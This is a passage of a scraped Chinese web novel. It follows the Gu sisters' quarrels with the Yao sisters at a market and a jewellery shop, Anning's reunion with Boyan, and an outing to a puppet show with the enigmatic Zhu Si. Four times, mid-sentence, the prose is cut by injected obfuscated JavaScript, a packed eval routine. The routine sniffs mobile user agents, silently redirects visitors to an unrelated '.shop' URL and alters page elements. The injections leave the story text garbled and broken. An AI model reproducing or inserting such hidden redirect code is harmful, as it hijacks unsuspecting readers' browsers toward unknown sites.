顾家三姐弟闻言脸上都露出了惊色,诧异地打量着昆仑奴脸上的面具。近侍见状道:“三公子,两位姑娘,昆仑奴凶气十足,别惊扰了你们,咱们还是去别的地方逛逛吧?” 几人没有异议,转头去了距离此地不远的海舶司。 还没进门,安宁就被店铺正中放置的青铜钟吸引,快走几步上前。那钟约莫一人多高,制作极为精巧,朱思见状道:“这是西洋钟,可以报时,同咱们的日晷一般,不过比日晷更方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾珂柔性格板正,平日里做事说话一板一眼,最守规矩,内里却也是个厉害的。上次姚五为难姚三的事情同她们无关,并且如果出了头姚三更难做,所以她拉住了安宁。这一次姚五明显是欺负她们,她如何能应? 她微微一笑,软语带刀:“走吧,给五姑娘腾地方。毕竟她能选买的时候也不多了,等嫁去了金帐王庭,再选就只有牛羊猪狗一类,哪儿还有机会见着这些好东西?” 安宁眼睛微微睁大,佩服地看着大姐。大姐平日里不显山不露水的,嘴真毒啊,真让她佩服。 姚五果然如同被点炸的火药一般爆起:“你说什么?!” 顾珂柔笑盈盈地看着姚五:“还没恭喜五姑娘,将要成为王廷王子大妃。安宁。”她点了妹妹的名,“快来谢谢姚家五姐姐。” 安宁娇俏地上前行礼:“多谢五姐姐。” 姐妹两多的一个字没说,只是感谢。谢什么?自然是谢姚五替她嫁去金帐王庭。姚五气得脸色紫红,胸膛剧烈起伏。偏生这是宫里赐婚,她不敢说出半个婚事不好的字来。 姚六上前半步怒道:“你们不要欺人太甚!” “六妹妹好没道理。”顾珂柔柔声道,“我们好心恭喜你姐姐,你怎么说我们欺人太甚?再说了,是你们要店家赶我们出去,可不是我们要赶你们出去。” 安宁见大姐一人怼得姚五姚六两姐妹脸色铁青,正掩嘴偷笑之时,视线突然落到了对面昆仑奴台前。那里一行人正围站着在挑选奴隶,当中那人身形高大,气势迫人,不是伯言是谁? 她一怔,随即惊喜的跑了出去:“伯言!” 19. 18 伯言听见有人叫他转身,见安宁提着裙摆越过众人向他跑来。 她在开阳的时候喜欢学着外部女子的打扮,用五彩的丝带辫一头细碎的发辫。如今在京城,规规矩矩地梳起了大宁未出阁女子常梳的发髻,也不再用兽皮和狼牙项链装饰自身,换上了襦裙和广袖长袍,戴着赤金宝石项圈,看着温婉了许多。 她看着他,眼里都是惊喜:“伯言!真的是你!” 伯言身边的护卫意欲上前阻拦,他抬起手,他们便默默地后退。他笑看着她:“小安宁,开阳一别,你可安好?” “安好是安好,就是有些生气!”她收起了笑容,气呼呼地看着他,“你怎么不辞而别?那天我让护卫去驿馆给你送信,他们还说没有这个人!我还以为再也见不到你了。” 他低头看着她,阳光下他的眸子琉璃一般呈琥珀色:“你想见我?” “不是你说的,你是我第一个朋友?”安宁看着他,真的有些生气,“既然是朋友,你怎么能不辞而别,既然是朋友,难道你不想见我?!” 他看着她,眼底有难明的神色,片刻后他露出了笑容:“你说的对,既然是朋友,自然是要相见的。我不辞而别是我不对。你来了京城,不如就由我做东,为你接风洗尘如何?” 此时顾珂柔走到了安宁身边,略带提防地看了伯言一眼:“二妹妹,你怎么自个儿跑出来了?” “大姐姐。”安宁回身挽住她的胳膊,“我遇到了开阳时的一个朋友。大姐姐,这是伯言。”她又转向伯言介绍道,“伯言,这是我大伯家的大姐姐。”她复又扭头,见朱思和顾文渊也走了过来,一并道,“那是我大伯家的三弟顾文渊。那是……朱四叔。” 她弄不清朱思的真实身份,怕旁人识得真正的路王府四公子穿帮,于是将朱思的身份含糊了过去,只说是四叔。 伯言同众人见礼,低头看向安宁:“我今日还有事,就不多耽误了。你同家人继续逛逛。这市集里有不少有趣的东西,你一定会喜欢。” 安宁不让他走:“你又要走,你再走了,我上哪儿去寻你?” 他原本冷峻的面容柔软了许多,笑看着她:“你是太师家的二姑娘,太师府在哪里,我还是知道的。合该我去拜访你才是,哪儿有你一个姑娘家去寻我的道理?” 安宁觉得他说的有理,点了点头:“好。你说话要算话。” 他应下:“自然说话算话。” 他同众人辞别,视线落到朱思身上停留了一瞬,又不动声色地转过头,领着自己的一众护卫离开。 安宁依依不舍地看着他的背影。顾文渊挠了挠头,想起了什么:“二姐,你上次在河边错认的那人,是不是就是他?你来京里打听的人就是他吧?” 安宁瞥了他一眼没有回答。她这才想起方才的事情回头,见姚家姐妹两此刻已经上了马车离开,她同顾珂柔道:“大姐姐,对不住啊。我方才突然看见他一时情急怕再错过,这才撇下你们跑了出来。” “没关系。”顾珂柔大气的回答,“反正姚五姚六也没在言语上讨着什么好处,灰溜溜地走了。” 安宁笑出了声,抱着大姐的胳膊甩了甩:“大姐你真威武!” “讲理是讲理,也不能任着别人随意欺负不是?”顾珂柔恢复了惯常的温婉,“祖父一直教我们为人要谦和守礼,却也不可一味软弱让人看轻了去。” 众人又在集市上逛了一阵,眼看着日头渐渐西斜,便一起回了府。 秋日渐深,太阳一落山,寒意便渐起。安宁贪凉,开着内寝的窗户,让外面微寒的夜空气进入室内。她趴在炕上,翻找出了从开阳带过来,伯言帮她选的那几颗兽牙。她一直想自己做一串兽牙手串,进京后将其抛诸脑后。今日遇到伯言她才想起来,于是借着灯火,卖力的用小尖锥在兽牙上磨着孔。 白蔻送茶进来,见状劝道:“姑娘,要不寻个师傅弄吧,先打好孔,你再自己用线串起来,岂不是容易许多?” 安宁正要回答,外面传来一声琴鸣声。那声音空灵厚重,带着莫名的悲凉和孤寂,同大姐姐平日里弹的珠玉满盘的筝鸣截然不同,是古琴。 她下了地,推门到了院子里,果然见旁边的院子亮着灯。院里的大树下朱思安坐着,正在弹古琴。 她走到鱼池旁的躺椅上坐下,透过花窗看着那边,安静地听着,一曲终了她悠悠地叹了口气:“四叔,这曲子虽然好听,我听了心里却莫名地觉得难过。” 朱思按住琴弦没有抬头:“为何难过?” 她忧虑地皱起眉头:“我也不知,只是觉得那琴音孤寂,让人难过。” 朱思抬头看向她的方向,微笑道:“高山流水觅知音,你也算是我的知音了。” 她闻言眉目间忧愁尽去:“四叔这般夸赞我,那我便高兴了。” 他修长的手指慢慢抚过琴弦:“你怎么认识那个伯言的?” “他?”安宁不疑有它,“在开阳时认识的。”她将同他相识的过程讲了一遍。 朱思听完有些不悦:“大街上这般搭讪陌生的女子,实在是登徒子所为。这人不好,你不要再同他相见。” 安宁不由得替伯言说话:“四叔,凌云州不同京城。这边万事都拘束得很。在我们那儿,大街上同陌生人说话是很正常的事情。他言语并无冒犯,不是登徒子。何况他还救了我。” 他不解:“救了你?” 她便将自己打了少布,外部有人袭击,他出手保护她的事情讲了。只是隐去了两人相约,她私自跑出府和他一起去参加秋狩围猎的事。 末了她道:“他若是坏人,又何必出手相助?” 朱思沉默了片刻,方才慢慢开口:“有些事情,不能只看表面。” 安宁抓了一把鱼食,一点一点地洒进鱼池里,锦鲤们皆奔着吃的而来,金红的金黄的五彩的挤做一团。 朱思见她那边没有了声音,莫名地觉得有些心浮气躁,他起身走到竹林下,这些日子越来越冷,竹叶也渐渐变黄。风一吹簌簌地飘落,在地面散落着许多落叶。 他问:“他是否是你心悦之人?” 他的声音近了很多,安宁丢掉手里最后的一点鱼食,起身否认:“四叔,你可不要乱点鸳鸯谱。伯言只是我第一个朋友。” 他追问:“真的只是朋友而已?” 她肯定:“只是朋友。” “好。”他道,“你年龄还小,还不会分辨是非和好坏,不要轻易就被外面的人骗了去。” 她不依:“伯言不是坏人。” 她轻声反驳着他,似娇还嗔,他就是心里有再多的不快也不由得软了下去,轻叹一声,摇摇头转身回了房。 次日一早安宁就被苏婉仪使人叫去了青木居。 青木居正厅里顾珂柔也在,正坐在母亲下首喝茶。见着安宁苏婉仪笑道:“眼看着天气越来越冷,我想着该给你们添置冬衣了。今日请了师傅上门量尺,一会儿布行也会将今年的新料子送来,你同你大姐姐慢慢挑着。” 安宁同苏婉仪行礼后坐到了姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13284189|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身旁。左右还要等上一会儿,顾珂柔叫丫鬟拿来围棋同安宁玩。姐妹两便头对头,安安静静地在一旁下棋。 苏婉仪坐在主位上听厨房负责采买的婆子回话,扭头看了姐妹两一眼。朝阳温暖地洒在两姐妹的身上,两个小丫头皆是粉雕玉琢的模样,她不由得露出了欣慰的笑容。 门口传来丫鬟通传的声音:“大爷回来了。” 回话的婆子闻言赶紧退到一旁,苏婉仪有些惊讶地站起身,顾珂柔同安宁也放下棋站了起来。朝阳里一个同顾林书有五六分相似的男子迈步进了正厅。他身着深紫色朝服,金带、佩玉。他看着十分儒雅,浑身书卷气。不似三品大员,更似翰林院的读书人。 屋里众人纷纷行礼,苏婉仪迎着他走过去,接过他怀里的冠帽:“今日怎么这么早就回来了?” “今日无事,下朝早。”他回了一句,看向安宁,“宁儿也在?” 苏婉仪笑道:“我想着天气越来越冷,叫了人来制冬衣,今日给她们两量尺。” 顾林颜道:“是该早些准备着了。如今越发地冷,寅时出门好些地方都结了霜。” 苏婉仪关心道:“老爷,后面就不要骑马上朝了吧。还是嘱咐石头套车吧。车里添置个炭盆,这样在宫门外候着的时候,也不至于冻着。” 顾林颜点点头:“好。” 安宁听着大伯同大伯母说话,等他们停下,她忍不住开口询问:“大伯父,你去上朝,日日都能见到圣上吗?” 这般孩子气的问题引得顾林颜微笑:“这个自然。” 安宁扭头和顾珂柔对视一眼,安宁复又追问:“今日也见着了?” 顾林颜笑道:“见着了。” 当今圣上虽然还没有亲政,政事依旧把持在王太后同三位辅政重臣手中,但是朝会时皇帝是在的。 安宁看向大姐,顾珂柔同她心意相通,小声道:“四叔和三弟在闲云楼读书呢。” 宫里那个是皇帝,那自家府上这个必然就不是了。那他到底是谁? 安宁按下心中的疑问,随即释然,不管他是谁,既然祖父允许他在内院这么住着,必然是极亲近之人,用不着她多思多虑。 她压低了声音悄悄同大姐道:“我原本还想着,他如果是咱们以为的那位,姚五指婚那事儿,指不定就是他帮着咱们出了一口气。” 顾珂柔同样轻声回答:“老天爷!那是指婚,你当扮家家酒呢?” 两姐妹头顶头嘀嘀咕咕,苏婉仪笑着对顾林颜道:“她姐妹两感情倒好。” 顾林颜慈爱地看着姐妹两:“正该如此。” 顾珂柔对安宁道:“一会儿你同我出门,娘已经吩咐下去,马房套好了车。” 安宁微微睁大眼睛看着姐姐:“今日太阳打西边出来了?你竟然要带我出门?” “娘在金玉楼给我们定做了头面,这些日子花式应该出来了,让我们去看看。若是有什么不喜欢的,早些修改,好让匠人拿了那图去赶工。”她轻声回答,“等到入了冬一落雪,城里各式的宴请就会多起来。娘想着多给咱们准备几套,也好让我们出去不丢了顾府的颜面。” 安宁笑得眼睛眯成了一条缝:“大伯母真好。” 金玉楼是大宁最负盛名的首饰楼。冤家路窄,姐妹两一进楼里就遇到了姚氏姐妹两。 一看见安宁,姚六就阴阳怪气地同姚五道:“姐姐,我昨日才知道,原来顾大人家的家教竟然是这般,二姑娘公然在大街上追着男子说话,实在是让人大开眼界。” 20. 19 安宁诧异地捂嘴,将头微微倾向顾珂柔:“大姐姐,我也不知定国公府家教这般严,竟然不许几位姑娘在外同男子说话。”她看了看金玉楼里正候在一旁的店主和掌柜,他们二人皆是男子,她做作地故作不解状,“你说,她们在外不许同男子说话,可怎么谈事儿啊?” 顾珂柔应道:“大概是让身边的丫鬟和嬷嬷传话吧?” “啊?”安宁眨了眨眼睛,“都面对面了,还要让身边的丫鬟婆子传话,岂不是多此一举?” 顾珂柔道:“那不是人家的家教嘛!” 安宁惊魂未定地拍了拍心口:“幸好幸好,幸好我们祖父没有这么不近人情的规矩。” 姚六被姐妹两一唱一和怼得脸色一阵红一阵青。 “真是伶牙俐齿的一对丫头!”旁边过来一个美妇人开了口,她约莫三十几的年纪,衣饰华贵,姚家姐妹两一看见她就迎了过去站在了她身后。她上下打量了一番顾家姐妹,“太师大人便是这般教你们的?” 顾珂柔不卑不亢地回道:“好叫这位娘子知道,我们祖父大人教导我们在外不可仗势欺人,却也说了不能一味软弱让人看轻了去。” 姚六不依地轻轻摇着美妇人的胳膊撒娇:“娘~” 美妇人轻轻拍了拍她的手背:“不同她们多费口舌,咱们好生选花式。” 姚六恨恨地瞪了顾家姐妹两一眼,扭身同母亲和姐姐在圆桌旁落座,选着店家奉上来的花式图案。 原来这就是定国公的那个爱妾茉莉姨娘,也是姚五姚六的亲娘。 安宁小声同顾珂柔嘀咕:“定国公府这般没规矩么?自家姑娘在外公然叫姨娘为娘。” 在大宁,唯有正妻可被子女尊为母亲,被称为娘或者大娘。庶出子女只可称呼自己的生母为姨娘,以示对正妻的尊重。 “那姨娘受宠。你看她身上的穿戴。”顾珂柔同样轻声回答,“有国公护着惯着,称呼这种小事又算得了什么?我听说姚家这两个姐妹,从小没有养在国公夫人膝下,是这个姨娘亲自教养的,就怕因自己受宠,让女儿跟着国公夫人吃亏。” 安宁轻啊了一声:“那岂不是小娘养的?” 她自知失言赶紧捂住了嘴。顾珂柔狠狠瞪了她一眼,虽然事实如此,但这是句骂人的话,小姑娘脱口而出实在失礼,幸好没有旁人听见。尤其勋爵权贵之家,最是看不上这种被小娘教养的庶出子女,认为其没有家教且家风不正,不会聘其为正妻。国公偏宠妾室和庶女,或许觉着以他的身份不愁女儿未来的归宿,殊不知落在真正的世家眼里已经将其看低。 姐妹两同样在圆桌旁落座,店家奉上了花纹图案供她们挑选。安宁还忍不住八卦:“那被选进宫的那个四姑娘呢?” “那是嫡妻所出。”顾珂柔道,“三、五、六都是庶女。三姑娘命不好,生母早逝。四姑娘命最好,生母是国公夫人。” 顾珂柔认真挑选着花式,安宁拿出一个鹿皮小袋唤来了一旁候着的店小二:“这个你们可能帮我钻孔?” 店小二拿来一个垫了红绸的托盘,将鹿皮袋里的物事倒出来。他原本以为是贵重的珠宝,没想到是一袋子兽牙。他陪笑道:“这个简单,姑娘若是要,您且在这儿稍等一会儿。一小会儿就能做好。” 安宁拿起一颗兽牙给小二比划:“就在这里钻一个小孔,我要用绳子串起来做手串。” 小二问道:“姑娘可要我们一并给串好?” 安宁想了想:“正好。你拿些配饰的宝石上来。” 小二赶紧应了一声,端下去了装着兽牙的托盘,又让人奉了打好孔的五彩宝石上来供她挑选。 姚六看着小二从她身旁经过,着意打量了一眼,见托盘里放着的是兽牙,不由得嫌弃地嗤了一声:“果然是个野丫头。” 茉莉姨娘此时选好了一个图案样式,唤来了掌柜指着说:“这个不错,用这个花纹做套头面。” 掌柜笑着应下,拿起图纸一看却变了脸色,他扭头瞪了负责伺候定国公一行人的小二一眼,对茉莉姨娘赔罪道:“夫人,实在对不住。是咱们楼里的错,小二将旁人的图纸花样拿错了,拿来给了您挑选,这是别家定做的花样。” 茉莉姨娘皱起了眉头,十分不悦:“那又如何?你既然拿了来供我挑选,便是我的图案了。至于旁的,是你们楼里的事。” “夫人见谅。”掌柜连连赔罪,“实在是,这花纹是那边指明定做的纹饰,是那边的夫人以自己旧钗上的花纹做底亲手描绘的草图。是咱们楼里的人犯了大错!” 姚六先前同顾家姐妹闹了不愉快,这会儿心里正积着火,闻言冷笑:“掌柜的,你这金玉楼还想不想开了?不过是个图案而已,我娘看中了,你竟然这般推三阻四,莫非你刻意羞辱我们不成?” 掌柜的闻言一惊,额头瞬间冒出了冷汗:“不敢不敢,小的不敢!” 安宁正选着手串配饰的宝石,顾珂柔来回翻看着图案稿:“咦,怎么少了一张?娘说了她亲手绘了一张草图,用她的云雀簪花纹做底,让这边师傅帮着修改了,怎么不见了?” 掌柜闻言赶紧道:“大姑娘,您的案稿在这里,咱们楼里犯了大错,下面的人不小心夹在别的一起,给送到了这边。” 顾珂柔闻声抬头,见错送到了茉莉姨娘那处,心里暗道一声晦气,倒也没有怪罪店家:“那给我拿过来吧。” “慢着。”眼看掌柜的要将图案送去给顾珂柔,姚六起身阻止,“这图案明明我娘已经选定,你怎么能拿去给旁人?!” 两桌相距不远,安宁虽然一直低头选着宝石,却也将方才发生的一切听了个清清楚楚。她抬头看向姚六:“都说了这是我大伯母亲手绘制的图案,怎么你们还想强抢不成?” 茉莉姨娘冷眼看着安宁:“不管是谁所制。楼里既然把图送到了我面前,我又选定了它,那这花纹就是我的。至于别的,是金玉楼犯的错,就该由他们去承担,与我何关?” “若是旁的花纹,让了便也让了。还请姨娘见谅。”顾珂柔开了口,她语句清晰地咬紧了姨娘两字,并不如旁人一般虚称她为夫人(大宁只有正妻,且夫君是官身或有爵位才可被称为夫人),茉莉姨娘闻言脸色骤变。顾珂柔道,“这花纹,是我娘为了庆贺年后二妹妹十五岁生辰特地绘制,要为她定做一套头面庆生。实在无法相让。” “那巧了。我家五丫头眼看着要出阁,我这个做娘的,也想着定做头面给她添妆,如今已经选定,也不想再生旁的是非。”她伸手轻飘飘地从掌柜手里夺回了那张图案,“你们若是不满,就去寻金玉楼的麻烦吧,是他们犯了错,自该他们承担。” “我今日算是长了见识了。”安宁瞪大眼睛道,“光天化日的,明抢啊!是不是不管什么东西,都是抢过去的更香?你们平日在府里抢这个抢那个的,当强盗当成习惯了吧?明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看向姚五,“五姐姐,你眼看着就要嫁去王庭了,还是多了解了解赤刹海各部族的风俗禁忌吧。犯了部族的禁,可是要被视为大不详,弄不好要被送去祭天,那时可就真的晦气了。” 姚五听她话里又提起和亲的事情,面色铁青,冷笑一声:“既然你这么了解,你为何不去和亲?” “五妹妹这话说的混了。”顾珂柔不慌不忙地替自己妹妹说话,“这桩婚事是宫里头定下来的,自然是觉着你比我二妹妹更合适才选了你。”她惊讶地看向姚五,“莫非你是对这婚事心存不满?还是对太后圣上心有怨怼?” 就算姚五真这般想,也不敢宣之于口。姚五紧紧抿着唇,不回答顾珂柔的问题。茉莉姨娘见自己两个女儿在顾家姐妹这讨不到好,站起了身:“东西也选的差不多了,咱们回吧。”经过顾家姐妹两身边的时候,她放缓了脚步,冷冷地从上到下打量了她们两眼,方才离开。 安宁抱着自己搓了搓胳膊,将手串摘下收了起来,对姐姐抱怨:“那姨娘打量我们的眼神真渗人,毒蛇一般。” 顾珂柔道:“她不方便扑上来咬我们两口,就只好如此。”她摇摇头,从姚五定下代替安宁去和亲那天开始,同姚家的梁子便算就此结下,以后不管在哪个场合再碰见姚家的人,都要小心些才是。 姐妹两回府后先去苏婉仪那回了话才回了自己院子。刚走到钟书苑门口,远远地安宁便看见了朱思,她快走几步上前:“四叔!” 21. 20 朱思闻言转过身,他穿着褐色常服,腰间压着玉佩,身旁跟着那个姓黄的近侍。他微笑着看着她:“我特地去你院子寻你,听说你出了门,没想到刚回来,就遇到了你。” 安宁问:“寻我做什么?” 朱思道:“你不说想看木偶戏?我一直使人打听着,终于有了着落,想着邀你同去。” “好!”安宁高兴地拍手,“那可要叫上大姐姐和三弟一起!” 朱思转头对黄近侍道:“去请大姑娘和三少爷。” 黄近侍领命而去,朱思提议:“下面已经备好了车,你我不如去车上等?” 安宁没有异议。 两人先一步出府,上车对坐。安宁打量朱思的马车:“四叔,你这车又宽敞又稳重,如同移动的大屋子一般,只一点不好。” 他开口询问:“哪儿不好?” 安宁拉开了中间矮桌下的抽屉:“你看,这里头都是空的。我娘也好,大伯母也罢,她们备车的时候总会在车里准备些茶果和小食,若是觉着饿了,就可以垫一垫。” 他看着她温声开口:“你肚子饿了?” 她摸了摸小腹:“饿了。早上起了个大早,只吃了几个小包子一碗粥,上午和大姐去金玉楼,又生了好大一场气。生气也费力气不是,吃的那点东西早没了,如今肚子咕咕叫着呢。” 朱思无奈摇了摇头,唤来了车旁的随侍,吩咐他去就近买点吃食回来,这才问安宁:“同谁生了气?这么费力气?” 安宁便将先前发生的事情讲了一遍,末了问朱思:“她们是不是好没道理?是金玉楼犯了错不假,可那图案是我大伯母亲手所绘,要给我年后庆生做头面所用。寻常拿错了,知道了都会送回去,哪儿有她们那般霸道的,看中了便握着不放,光天化日的明抢。” 朱思微微皱起了眉头:“怎么又是姚家的人?定国公竟这般治家不严,教女无方。” 随侍轻轻敲了敲车厢壁:“主子,东西买回来了。” 朱思掀开车帘接过吃的,是荷叶粑。刚出锅不久还冒着热气,用细麻绳捆了方便提在手上。他原要递给她,她都伸了手出去接他又缩了回去,转而将其放在木桌上,他道:“烫。” 他解开上面的细麻绳,修长的手指灵活地解着绳结,然后一层一层揭开上面的荷叶。那荷叶蒸得软了,和下面的糯米糕粘到一起,指尖触到他会猛地往回一缩,再轻轻吹着气细心地挑开,直到露出下面软白的糯米,他才拿了帕子垫着给她:“仔细点,还是烫。” 安宁接过咬了一口,眯着眼睛笑:“好吃。”她眉眼弯弯地看着他,“四叔,你真好。” 他道:“你既然叫我一声四叔,自该对你好些。” 她道:“那大姐姐和三弟都叫你四叔呢。你对他们便不如对我。” 他嗯了一声:“你与他们不同,对你特殊些也是应当。” 他坦承的特殊偏爱让她有些小雀跃,随即向他保证:“那我以后也待你同旁人不同。” 他眼里含笑看着她,眼神幽深。 京城有一座老字号的酒楼,名叫天香楼,有个木偶戏老艺人带着他的小孙子在此卖艺。 安宁原以为和皮影戏差不多,实际不是。皮影戏是个戏班子,有人偶师、有乐队、有专门负责唱戏文的唱角儿、还有各种杂务零零总总几十人。这木偶戏统共就一家四口,爷爷是木偶师,小孙子传承了爷爷的手艺,和他一起表演。小孙子的父亲坐在一旁配乐,乐器也简单至极,只有一把琴一个鼓一个锣,母亲则负责拉动场景的幕布和改换场景里的道具。 四人并排落座,他们前方放着一个微缩的戏台,上面布置着一个房间的景象,其上墙、窗、地板家具都是实景,不过只有正常的十之一二大小。眼前是一个卧房,临窗是一方大炕,窗户支起来露出了三分之一。房间里没有人。 坐在一旁的父亲敲了一下锣,拉长了声音喊:“天干物燥~小心火烛~~” 戏开场,那小孙子站在场景后,手上拿着一个木质长杆,长杆上落下许多丝线,丝线下端牵着一个木头做的人偶,约莫有一尺高矮,是个身着玉色文衫长袍的读书人。他从一侧进了房间,伸懒腰打了个哈欠,然后慢悠悠地上炕躺下。 他睡了片刻,响起了鼾声,然后翻了个身,背对前面观看的众人。 此时爷爷进场,他同样用落着丝线的木杆操纵着一个人偶,只是那人偶更小,只有手指长短,人偶从天空落到半开的窗户上,动作灵活地跳上炕,小心翼翼地观察着熟睡的书生。 这是有名的志怪故事《小人国》,讲的是一个在家里睡觉的书生,发现家里来了一群小人的故事。这神奇的故事和有趣的场景顿时牢牢吸引住了顾家姐弟。 这时包房里早放下了帷幔,只有微缩的戏台上亮着灯,爷爷和小孙子俯视着戏台,舞台的光照亮了他们的脸和手,其余的一切都隐没在黑暗中。和戏台上的人偶相比,他们就像恐怖的巨人,在悄无声息地操纵着台上众人的人生。 和专注于看戏的顾家姐弟不同,朱思神游着。他的脸同样隐没在黑暗中,唯有双眸映着台上的光,可见眸中深深的寒意。 旁人看的是戏文,他看的却是自己的人生。他和这台上的木偶有何不同?一举一动一言一行都被人操纵着,不可能依照自己的意志迈出去哪怕一小步。 一场戏演了小半个时辰,落下帷幕后房间里亮起了灯,众人的笑声和掌声唤回了朱思的神智。他看向一旁的黄近侍:“演得好,赏。” 黄近侍命人拿了银两去赏那一家四口,他们拿了赏银,千恩万谢地下去了。 “好看!”安宁兴奋地对朱思道,“这个太有意思了,我觉着比皮影戏好看!” “各有千秋。”顾文渊点评,“我都喜欢。” 顾珂柔也不得不赞道:“好看。” 几人从天香楼出来已经到了掌灯时分,长街上亮起了灯。京城没有宵禁,满大街的店铺都还热闹着,街上的行人也多了起来,有些是出来用晚膳的,有些是用完了晚膳到长街上来散步的,还有各种小贩和货郎,推着木推车挑着货筐来到了街上做晚集的生意。 安宁只觉得还没有尽兴,央求朱思:“四叔,我们再玩一会儿好不好?” 朱思自然依她:“好。” 几人沿着长街慢慢前行,长街天上横牵着绳索,从上落下一串一串挂着的红灯笼,映得地面亮亮堂堂。从临河的店铺间的间隙看出去,西凉河倒映着京城璀璨的灯火,仿佛天上的银河落入了人间,水面倒映的画面同真实的夜景交相辉映。 夜风轻拂,几人沿着河堤漫步而行,朱思时不时替身旁的安宁抚开垂柳。安宁抬头看他:“四叔,你不高兴么?” 他摇了摇头:“没有。” “方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313765|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们看了木偶戏出来,我们三人说着戏文里的情节,你一直保持着沉默,肯定是有什么心事。”她走到他身前转过身,背着双手娇俏地看着他,慢慢后退着前行。 他摘下一片柳叶,低头笑了笑:“长大了就难免有心事。等你长大了也一样。” 她转过身去,学着他也摘了一片柳叶,拿到唇边吹了吹,吹出了清凌凌的哨声。顾珂柔和顾文渊闻声向她看来,她得意地挥了挥手中的柳叶:“叶哨,你们也试试?” 朱思、顾珂柔和顾文渊学着她的样子,也吹起了手中的柳叶。这才发现远比他们想的要困难得多,柔软的柳叶难以吹出声音,即使出了声,也只是闷闷得噗噗声,不似安宁吹出来的那般悠扬。 顾珂柔拉住妹妹:“你快教教我。” 她仔细折了柳叶给姐姐演示,怎么蜷起一个弧度,如何控制口中的气流力道,从哪个角度入手去吹。 顾珂柔学得认真,一旁的朱思和顾文渊也仔细听着。顾珂柔却怎么也掌握不好其中的力道,轻了吹不出声音,稍微一用力,柳叶又破了。 她不由得摇头,摆弄着手里的柳叶:“这叶哨看着简单,实则不易呢。” 眼看着天色越来越晚,朱思提议:“回吧,再晚该让家里担心了。” 朱思袖口里藏了一片柳叶,回了院子后不由得拿出来,学着安宁的样子又试了试。只是这次他也吹破了叶子,看着破损的柳叶他摇了摇头,将其放在了桌面上。 过了两日,金玉楼派了人前来,来人不仅带来了那日被茉莉姨娘夺走的花样图案,还带了许多东西前来赔礼。和他一同前来的还有一个婆子,自称是定国公夫人身边的管事嬷嬷,姓谭。 谭嬷嬷也带来了礼单,都是给顾家的赔礼。等金玉楼的人离开,谭嬷嬷才上前同苏婉仪行礼开口:“老身是国公夫人身边的老人了。夫人托老身前来同夫人告罪一声,是她治家不严,这才让家里的姨娘和姑娘们犯下了这样的错。这事儿国公爷已经狠狠地责罚了姨娘,罚她在院子里禁足。两个姑娘也去了祠堂罚跪。那日对府上多有得罪,还请顾夫人见谅。” 谭嬷嬷说着行了个礼,奉上了礼单。 苏婉仪身边的刘嬷嬷上前收了礼单交给主母,她接过轻轻放下按在手边,对谭嬷嬷温婉笑道:“我家里两个孩子言语上也急躁了些,这才惹了贵府姑娘们不快。本就是孩子们间的小吵闹,还请国公夫人不要放在心上的好。” 顾珂柔和安宁听说金玉楼的人要上门,早早地就在一侧的花厅里候着了。隔着屏风听见前面说的话,安宁悄声对姐姐道:“今日他们态度倒好,要早些这般,哪里还用闹得那般不快?” 送走了谭嬷嬷,两个姑娘来了前厅苏婉仪面前。看着苏婉仪手里拿着的花样,顾珂柔上前道:“娘,这下子可以给妹妹打那套头面了。” 苏婉仪摇了摇头,放下了手里的花式:“还是另换吧。这个不用了。” 顾珂柔不解:“为何?” “你当国公府是真心诚意来道歉不成?”苏婉仪道,“你们那日在金玉楼的争执不知道怎么传进了宫里,国公府选进宫的那个四姑娘因此受到牵连,被宫里的贵人申斥,说定国公教女无方。国公夫人这才借机收拾了那姨娘和骄横的两个姑娘。可这斥责只是一时,你若做了这套头面,日后戴出去让她们看见,难免就会牵扯出今日这一段是非,并非什么好事。” 22. 21 一年四季,安宁最喜欢秋日。这时候的日头不似夏日那般灼烈,天空高远,北方的天上这时很少有云,一片望不到边际的深蓝。初寒乍起,又不像冬日那般寒冷,风吹过微凉干爽。 这时候的赤刹海草原化作了青黄两色,草海涌起的波浪在风中连绵起伏,时不时能看见散落其间的羊群和马匹。安宁最喜欢这个季节出门骑马,纵马在草原上恣意地奔跑,身心开阔。 她原以为到了京城以后,寻不到机会骑马,不成想长兴侯府发了帖子,长兴侯夫人在京郊马场组织了一场马球会,邀请他们去参加。 顾家姐弟来得晚了些,马场上已经有人在比赛,场边时不时呼声四起,十分热闹。他们先去给长兴侯夫人问了安,这才在侍女的带领下去了给他们准备好的台账里落座。 安宁盯着场上飞奔的快马问顾珂柔:“姐姐,你会打马球嘛?” 